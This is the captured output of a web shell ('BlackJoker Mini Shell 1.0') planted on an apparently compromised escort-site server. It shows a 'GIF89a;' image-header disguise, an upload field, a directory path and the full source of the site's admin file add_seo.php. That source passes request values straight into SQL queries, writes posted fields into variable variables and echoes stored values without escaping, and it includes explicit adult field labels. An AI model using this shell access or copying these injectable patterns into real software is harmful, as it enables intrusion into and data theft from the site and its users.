GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/admin/
Upload File :
Current File : /home/serb/public_html/admin/add_seo.php

<?php
include("sessionout.php");
include("../lib/globals.php");
include("../lib/common.php");
include("../lib/functions.php");
require_once('../fckeditor/fckeditor.php');

$id = isset($_REQUEST["id"]) ? $_REQUEST['id'] : 0;
$sb = isset($_POST["Submit"]) ? $_POST["Submit"] : null;
$seo_match = $title = $meta_description = $meta_keywords = null;

if ($sb=="Process") {
	foreach($_POST['data'] as $key => $value) {
		$$key = addslashes($value);
	}

	$status = 1;
	$insert_sql = "REPLACE seo_content (seo_match, title, meta_keywords, meta_description) values ('$seo_match','$title','$meta_keywords','$meta_description')";
	execute_query($insert_sql);
?>
	<script>
		window.location.href="list_seo.php";
	</script>
	<?
}

if ($id) {
	$resource = execute_query("SELECT * FROM seo_content WHERE id='$id'");
	$data = mysql_fetch_array($resource);
	foreach($data as $key => $value) {
		$$key = stripslashes($value);
	}
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
	<title>Escortservice.org | Admin ::</title>
	<link href="../style.css" rel="stylesheet" type="text/css" />
	<script language="javascript" src="../validator/frm_validator.js"></script>
	<script>
		function validate4()
		{
			return true;
		} 
	</script>
</head>
<body>
	<table width="790" border="0" align="center" cellpadding="0" cellspacing="0">
		<tr>
			<td align="left" valign="top"><table width="790" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td align="left" valign="top" class="td1"><table width="790" border="0" cellspacing="0" cellpadding="0">
						<tr>
							<td width="343" align="left" valign="top">&nbsp;</td>
							<td width="447" align="left" valign="top">&nbsp;</td>
						</tr>
						<tr>
							<td height="38" align="right" valign="middle" class="topnav"><p style="margin-left:23px;"><img src="img/logo.png" alt="" /></p></td>
							<td align="center" valign="middle" class="footer-link">Administrator Control Panel</td>
						</tr>
					</table></td>
				</tr>
				<tr>
					<td align="left" valign="top" class="td2">&nbsp;</td>
				</tr>
			</table></td>
		</tr>
		<tr>
			<td align="center" valign="top" class="td3"><table width="780" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td height="5"></td>
				</tr>
				<tr>
					<td align="center" valign="top" class="td4"><table width="768" border="0" cellspacing="0" cellpadding="0">
						<tr>
							<td height="6"></td>
						</tr>
						<tr>
							<td align="center" valign="top" class="td5">&nbsp;</td>
						</tr>
						<tr>
							<td align="center" valign="top" class="td9"><table width="751" border="0" align="center" class="bordermain">
								<tr>
									<td><? include("menu.php");?></td>
								</tr>
								<tr>
									<td>&nbsp;</td>
								</tr>
								<tr>
									<td>&nbsp;</td>
								</tr>
								<tr>
									<td align="center">
										<table width="735" border="0" align="center" cellspacing="1" class="Table4">
											<form action="<? print $_SERVER['PHP_SELF'];?>" method="post" enctype="multipart/form-data" name="f1" onSubmit="return validate4()" >
												<tr>
													<td colspan="2" align="center" class="tblHeader2"><?php echo $id ? 'Add New' : 'Edit'; ?> Entry</td>
												</tr>
												<tr class="mouseOver">
													<td align="right">&nbsp;</td>
													<td align="left" >&nbsp;</td>
												</tr>
												<tr class="mouseOver">
													<td width="30%" align="right"><strong>Matching: &nbsp;</strong></td>
													<td width="70%" align="left"><input name="data[seo_match]" value="<?php echo $seo_match; ?>" type="text" class="content" style="width:96%;" id="eng_menu" size="50" /></td>
												</tr>
												<tr class="mouseOver">
													<td width="30%" align="right"><strong>Page Title: &nbsp;</strong></td>
													<td width="70%" align="left"><input name="data[title]" value="<?php echo $title; ?>" type="text" class="content" style="width:96%;" /></td>
												</tr>
												<tr class="mouseOver">
													<td width="30%" align="right" valign="top"><strong>Meta Keyword: &nbsp;</strong></td>
													<td width="70%" align="left"><textarea name="data[meta_keywords]" type="text" class="content" rows="5" style="width:95.6%;"><?php echo $meta_keywords; ?></textarea></td>
												</tr>
												<tr class="mouseOver">
													<td width="30%" align="right" valign="top"><strong>Meta Description: &nbsp;</strong></td>
													<td width="70%" align="left"><textarea name="data[meta_description]" type="text" class="content" rows="5" style="width:95.6%;"><?php echo $meta_description; ?></textarea></td>
												</tr>
												<tr class="mouseOver">
													<td width="30%" align="right">&nbsp;</td>
													<td width="70%" align="left">&nbsp;</td>
												</tr>
												<tr class="mouseOver">
													<td align="right"><input name="Submit" type="submit" class="butn3" value="Process" /></td>
													<td align="left" ><input name="Submit2" type="reset" class="butn3" value="Reset" /></td>
												</tr>
												<tr class="mouseOver">
													<td align="right">&nbsp;</td>
													<td align="left" >&nbsp;</td>
												</tr>
											</form>	
										</table>
									</td>
								</tr>
							</td>
						</tr>
						<tr>
							<td width="232" align="center" valign="top" class="td5">&nbsp;</td>
						</tr>
						<tr>
							<td height="6"></td>
						</tr>
					</table></td>
				</tr>

			</table></td>
		</tr>
		<tr>
			<td align="center" valign="top" class="td3">
				<p style="margin: 15px;">Tokens to be used on page title, description and keywords meta definition, some tokens <strong>only works</strong> within Escort page and {CityName} can be used in every page that has city defined (not country).</p>
				<ul style="list-style:none;margin: 15px;">
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{CountryName}</strong> - Active user country Name</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{CityName}</strong> - City Name</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Id}</strong> - Escort Unique Id</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{EscortType}</strong> - Escort Type (independent, empty, agency)</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Nickname}</strong> - Escort NickName</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Slogan}</strong> - Escort Title</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{EscortState}</strong> - Escort State</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{EscortCity}</strong> - Escort City</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{CountryName}</strong> - Escort Country Name</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Gender}</strong> - Escort Gender</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Travel}</strong> - Escort Can Travel?</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Couples}</strong> - Escort Couples</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Age}</strong> - Escort Age</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Ethencity}</strong> - Escort Ethnicity</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Orientation}</strong> - Escort Orientation</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Duos}</strong> - Escort Duos</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Nationality}</strong> - Escort Nationality</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Shaved}</strong> - Escort Shaved</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Language}</strong> - Escort Language</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Height}</strong> - Escort Height</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Weight}</strong> - Escort Weight</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Tits}</strong> - Escort Tits</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Pussy}</strong> - Escort Pussy</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{EyeColor}</strong> -Escort Eye Color</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{HairColor}</strong> - Escort Hair Color</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{MeetingMen}</strong> - Escort Meeting Men</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{MeetingCup}</strong> - Escort Meeting Couples</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{MeetingTrans}</strong> - Escort Meeting Trans</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{MeetingGays}</strong> - Escort Meeting Gays</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{MeetingTwo}</strong> - Escort Meeting Two</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{TelNational}</strong> - Escort National Phone</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Pornstar}</strong> - Escort is Pornstar</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{PornstarName}</strong> - Escort Pornstar Name</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Massage}</strong> - Escort Massage</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Description}</strong> - Escort Description</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{NoOfHit}</strong> - Escort nummber of hits</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{HitDate}</strong> - Escort number of hits in the day</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{NoOfHitweek}</strong> - Escort Number of Hits in a Week</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{WeekhitDate}</strong> - Escort Number of hist in a week </li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{TravelArea}</strong> - Escort Travelling Area</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{ImpressionCount}</strong> - Escort Impression Count</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-right:2%;"><strong>{Dob}</strong> - Escort Year of Birth</li>
					<li style="display:inline-block;width: 47%;margin-top:3px;margin-left:1.4%;margin-right:2%;"><strong>{DobMonth}</strong> - Escort Month of Birth</li>
				</ul>
				<table width="780" border="0" cellspacing="0" cellpadding="0">
					<tr>
						<td align="center" valign="top" class="footer-bac">
							<p style="text-align:center; padding:35px 0 5px 0px;"><a href="main.php" class="footer-link">Administrator Control Panel </a></p>
							<p class="footer-text1" style="text-align:center;">Adult Rubs</p>
						</td>
					</tr>
				</table></td>
			</tr>
		</table>
	</body>
	</html>

./BlackJoker Mini Shell 1.0